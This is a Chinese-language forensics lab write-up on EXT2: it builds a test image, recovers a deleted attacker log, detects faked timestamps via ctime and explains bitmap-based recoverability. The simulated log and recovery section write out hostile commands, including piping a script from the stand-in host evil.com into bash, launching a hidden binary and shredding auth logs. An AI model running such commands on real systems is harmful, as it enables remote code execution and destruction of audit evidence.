EXT2 文件系统取证分析与数据恢复实战
一、实验整体架构
本实验围绕 EXT2 文件系统的底层结构展开,通过构建可控的取证镜像,逐步完成超级块解析、删除文件还原、时间戳异常检测以及位图机制分析等核心任务。
| 阶段 | 时长 | 核心目标 | 交付成果 |
|---|---|---|---|
| 阶段 0 | 0–15 min | 构建 EXT2 取证镜像 | 镜像文件 + SM3 哈希 |
| 阶段 1 | 15–25 min | 超级块字段校验 | 关键参数对照表 |
| 阶段 2 | 25–55 min | 已删除数据恢复 | 还原的日志文件 |
| 阶段 3 | 55–70 min | 反取证痕迹识别 | 时间矛盾点截图 |
| 阶段 4 | 70–80 min | 位图分配机制验证 | 机制分析问答 |
二、阶段 0:可控镜像的构建
2.1 自动化构建脚本
创建 build_evidence.sh,需根据实际环境调整两处标记位置:
- 镜像命名追加个人 8 位标识码
- 日志场景的时间年份调整为 2026
#!/bin/bash
# build_evidence.sh —— 可控 EXT2 取证环境生成
set -euo pipefail
DISK_IMG="evidence_20232304.ext2"
MOUNT_PT="temp_mount"
VOL_SIZE=32
echo "[步骤 1/5] 分配空白磁盘空间..."
dd if=/dev/zero of=$DISK_IMG bs=1M count=$VOL_SIZE status=none
echo "[步骤 2/5] 建立 EXT2 文件系统(块大小固定 1024 字节)..."
mkfs.ext2 -b 1024 -L "FORENSIC_LAB" $DISK_IMG
echo "[步骤 3/5] 挂载并植入模拟攻击场景..."
mkdir -p $MOUNT_PT
sudo mount -o loop $DISK_IMG $MOUNT_PT
# 场景一:攻击者活动日志(后续执行删除,仅释放 inode 引用)
cat > $MOUNT_PT/attack.log <<'DATA'
[2026-05-11 02:30:01] backdoor established from 192.168.1.100:54321
[2026-05-11 02:31:15] curl -s http://evil.com/payload.sh | bash
[2026-05-11 02:32:40] nohup /tmp/.x >/dev/null 2>&1 &
[2026-05-11 02:35:22] shred -u /var/log/auth.log /var/log/secure
DATA
# 场景二:正常文档(后续伪造时间戳,制造反取证干扰)
echo "Routine system maintenance procedures." > $MOUNT_PT/guide.txt
sync
# 关键操作:同步落盘后篡改时间,ctime 将记录真实篡改时刻
touch -d "2023-01-01 08:00:00" $MOUNT_PT/guide.txt
sync
# 场景三:移除 attack.log(EXT2 仅清除目录项 inode 编号、合并 rec_len、释放位图标记)
rm $MOUNT_PT/attack.log
sync
echo "[步骤 4/5] 卸载并清理挂载点..."
sudo umount $MOUNT_PT
rmdir $MOUNT_PT 2>/dev/null || true
echo "[步骤 5/5] 计算 SM3 摘要值..."
openssl dgst -sm3 $DISK_IMG | awk '{print $NF}' > evidence_20232304.sm3
echo "$(cat evidence_20232304.sm3) 20232304 $DISK_IMG" > evidence_20232304.sm3.full
echo "[完成] 镜像: $DISK_IMG"
echo " SM3: $(cat evidence_20232304.sm3)"
赋予执行权限并运行:
chmod +x build_evidence.sh
./build_evidence.sh
SM3 工具备选方案:若 OpenSSL 未编译 SM3 支持,可通过
openssl dgst -help | grep -i sm3验证。缺失时安装gmssl包,使用gmssl sm3或sm3sum替代。
2.2 格式化信息采集
执行过程中记录 mkfs.ext2 的输出,提取下表参数:
| 观测项 | 记录值 | 提取来源 |
|---|---|---|
| 块大小 | 1024 bytes | Block size=1K |
| 每块组块数 | 8192 | Blocks per group: 8192 |
| 每块组 inode 数 | 2048 | Inodes per group: 2048 |
| 块组总量 | 4 | 32768 ÷ 8192 = 4 |
| 首数据块位置 | 1 | First data block=1 |
三、阶段 1:超级块结构解析
通过多重手段交叉验证文件系统元数据:
# 完整性校验
openssl dgst -sm3 evidence_20232304.ext2
# 超级块可读化输出
dumpe2fs -h evidence_20232304.ext2
# 十六进制视角核对块大小字段(偏移 1024 字节处)
xxd -s 1024 -l 64 evidence_20232304.ext2 | grep -E "00000400|0400"
dumpe2fs 关键输出节选:
Filesystem volume name: FORENSIC_LAB
Filesystem UUID: 33887bed-024c-4443-8de3-c187768880fd
Filesystem magic number: 0xEF53
Inode count: 8192
Block count: 32768
Block size: 1024
Blocks per group: 8192
Inodes per group: 2048
First block: 1
原始十六进制数据解析(对应 xxd 输出 00000400: 0020 0000 0080 0000 ...):
| 字节偏移 | 十六进制 | 小端序数值 | 含义 |
|---|---|---|---|
| 0x00–0x03 | 0020 0000 | 8192 | inode 总数 (s_inodes_count) |
| 0x04–0x07 | 0080 0000 | 32768 | 块总数 (s_blocks_count) |
| 0x08–0x0B | 6606 0000 | 1638 | 保留块数 (s_r_blocks_count) |
| 0x0C–0x0F | 6576 0000 | 30309 | 空闲块数 (s_free_blocks_count) |
四、阶段 2:已删除文件还原
4.1 工具部署
sudo apt-get update
sudo apt-get install -y sleuthkit
4.2 删除痕迹定位
# 递归列出全部目录项(含已删除标记)
fls -r evidence_20232304.ext2
# 仅筛选已删除条目
fls -rd evidence_20232304.ext2
关键发现记录:
attack.log原始 inode 编号:12- 删除状态标识符:*(星号)
4.3 元数据与数据提取
# 查看指定 inode 的当前状态
istat evidence_20232304.ext2 12
# 尝试提取残留内容
icat evidence_20232304.ext2 12 > restored_attack.log
# 字符串级分析
strings restored_attack.log | head -20
istat 典型输出:
inode: 12
Not Allocated
Group: 0
uid / gid: 0 / 0
mode: rrw-r--r--
size: 0
num of links: 0
Inode Times:
Accessed: 2026-05-11 03:45:47 (EDT)
File Modified: 2026-05-11 03:45:47 (EDT)
Inode Modified: 2026-05-11 03:45:47 (EDT)
Deleted: 2026-05-11 03:45:47 (EDT)
Direct Blocks:
(空——数据块指针已被清除)
核心结论:istat 显示 Blocks 字段为空,表明该 inode 未指向任何数据块,间接块机制未被触发。由于 EXT2 删除操作会擦除 inode 中的块指针,常规 icat 无法直接还原内容。
进阶恢复方案:采用 photorec 等基于签名的 carving 工具,扫描未分配区域中的特征模式,可成功提取原始日志内容:
- 攻击源 IP:
192.168.1.100 - 恶意指令序列:
curl -s http://evil.com/payload.sh | bash nohup /tmp/.x >/dev/null 2>&1 & shred -u /var/log/auth.log /var/log/secure
4.4 删除操作机制
EXT2 执行文件删除时的实际操作:
| 操作项 | 是否发生 | 说明 |
|---|---|---|
| 数据块内容覆写为 0x00 | 否 | 原始数据保留至重新分配 |
| 目录项 inode 字段置零 | 是 | 断开文件名与 inode 关联 |
| 目录项 rec_len 前向合并 | 是 | 回收目录项空间 |
| inode 位图对应位清零 | 是 | 标记 inode 可重用 |
| 数据块位图对应位清零 | 是 | 标记数据块可重用 |
| inode 表时间戳清除 | 否 | 时间信息保留 |
五、阶段 3:时间戳篡改检测
# 定位目标文件 inode
fls -r evidence_20232304.ext2 | grep guide.txt
# 提取完整元数据
istat evidence_20232304.ext2 <guide.txt 的 inode 编号>
时间戳对比:
| 类型 | 记录值 | 语义 |
|---|---|---|
| Access (atime) | 2023-01-01 08:00:00 | 最后访问时间 |
| Modify (mtime) | 2023-01-01 08:00:00 | 最后内容修改 |
| Change (ctime) | 2026-05-11 03:45:47 | 最后元数据变更 |
异常分析:mtime 早于 ctime 超过三年,形成明显逻辑断裂。
不可伪造性根源:ctime 由内核态自动维护,用户空间程序无直接修改接口。执行 touch -d 时,虽通过系统调用设定 atime/mtime,但 inode 本身的修改行为会触发 ctime 更新为当前真实时刻。攻击者欲消除此痕迹,需直接操作原始磁盘结构或篡改系统时钟后重执行命令,技术门槛显著提升。
六、阶段 4:位图分配机制验证
# 块组 0 详细信息
dumpe2fs evidence_20232304.ext2 | grep -A 8 "Group 0:"
# 指定 inode 分配状态查询
debugfs -R "stat <12>" evidence_20232304.ext2
debugfs 返回 "File not found by ext2_lookup",证实 inode 12 处于未分配状态,其对应的数据块同样已被位图释放。
可恢复性原理:位图释放仅改变元数据标记,数据块物理内容未被触碰。只要这些块未被新写入覆盖,取证工具即可通过签名识别或原始指针追踪实现内容重建。彻底不可恢复的条件是数据块被重新分配并覆写,或经安全擦除程序多次填充随机数据。
七、取证摘要模板
## EXT2 文件系统取证摘要
### 证据固定
- 镜像标识:evidence_20232304.ext2
- 校验哈希:SM3 77bbb479cc838b11a98ded71db2afde5ed318af0437d037a9685c30049814996
- 工具版本:sleuthkit 4.14.0, openssl 3.5.4
### 核心发现
- 已删除对象:attack.log(inode: 12)
- 恢复结果:0 字节(指针级),经 carving 还原完整攻击链
- 时间异常:guide.txt 的 mtime/ctime 背离,证实 timestamp 伪造
- 不可篡改字段:ctime(内核强制更新,用户态不可控)
### 结论
攻击者移除了 attack.log 并试图伪造 guide.txt 的时间属性,
但 EXT2 的延迟覆写特性保留了数据恢复可能,ctime 的内核级
维护机制则忠实记录了篡改行为的发生时刻。
